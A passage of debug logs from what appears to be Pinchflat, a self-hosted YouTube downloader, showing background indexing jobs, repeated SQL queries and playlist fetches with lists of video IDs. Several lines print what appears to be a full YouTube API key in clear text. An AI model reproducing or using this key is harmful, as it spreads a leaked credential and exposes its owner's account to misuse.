UUQ5w3fSomzziZfO7neK7eAg 15:47:07.478 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.478 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 15:47:07.478 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.479 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:07.479 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.479 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:07.666 [debug] QUERY OK source="media_items" db=0.6ms idle=187.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 15:47:07.667 [debug] QUERY OK source="media_items" db=0.6ms idle=188.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 15:47:07.668 [debug] QUERY OK source="tasks" db=0.1ms idle=189.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799826, 18, ~U[2026-02-10 21:47:07Z], ~U[2026-02-10 21:47:07Z]] 15:47:07.669 [info] {"args":{"id":18},"id":3799787,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":191157,"event":"job:stop","queue_time":441806,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:07.674 [info] {"args":{"id":3},"id":3799788,"meta":{},"system_time":1770760027674650850,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:07.674 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:47:07.675 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.675 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:07.675 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.675 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 15:47:07.675 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.675 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:07.852 [debug] QUERY OK source="media_items" db=0.8ms idle=176.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 15:47:07.853 [debug] QUERY OK source="media_items" db=0.3ms idle=178.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 15:47:07.854 [debug] QUERY OK source="tasks" db=0.1ms idle=178.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799827, 39, ~U[2026-02-10 21:47:07Z], ~U[2026-02-10 21:47:07Z]] 15:47:07.854 [info] {"args":{"id":39},"id":3799786,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":376847,"event":"job:stop","queue_time":513555,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:07.947 [debug] QUERY OK source="media_items" db=0.6ms idle=92.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 15:47:07.948 [debug] QUERY OK source="media_items" db=0.5ms idle=93.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:47:07.948 [debug] QUERY OK source="tasks" db=0.0ms idle=88.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799828, 3, ~U[2026-02-10 21:47:07Z], ~U[2026-02-10 21:47:07Z]] 15:47:07.949 [info] {"args":{"id":3},"id":3799788,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":274288,"event":"job:stop","queue_time":553657,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:20.490 [info] {"args":{"id":36},"id":3799789,"meta":{},"system_time":1770760040490767870,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:20.491 [debug] QUERY OK source="sources" db=0.1ms idle=612.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 15:47:20.491 [debug] QUERY OK source="settings" db=0.1ms idle=612.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:20.491 [debug] QUERY OK source="media_profiles" db=0.1ms idle=613.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:20.491 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:20.491 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 15:47:20.491 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:20.491 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:20.592 [debug] QUERY OK source="media_items" db=0.6ms idle=100.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 15:47:20.593 [debug] QUERY OK source="media_items" db=0.7ms idle=101.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 15:47:20.594 [debug] QUERY OK source="tasks" db=0.1ms idle=102.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799829, 36, ~U[2026-02-10 21:47:20Z], ~U[2026-02-10 21:47:20Z]] 15:47:20.594 [info] {"args":{"id":36},"id":3799789,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103678,"event":"job:stop","queue_time":532317,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:27.383 [info] {"source":"oban","duration":10495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:33.506 [info] {"args":{"id":23},"id":3799790,"meta":{},"system_time":1770760053506435764,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:33.506 [debug] QUERY OK source="sources" db=0.1ms idle=1628.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 15:47:33.506 [debug] QUERY OK source="settings" db=0.1ms idle=1008.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:33.507 [debug] QUERY OK source="media_profiles" db=0.1ms idle=628.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:33.507 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:33.507 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 15:47:33.507 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:33.507 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:33.589 [debug] QUERY OK source="media_items" db=0.6ms idle=82.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", 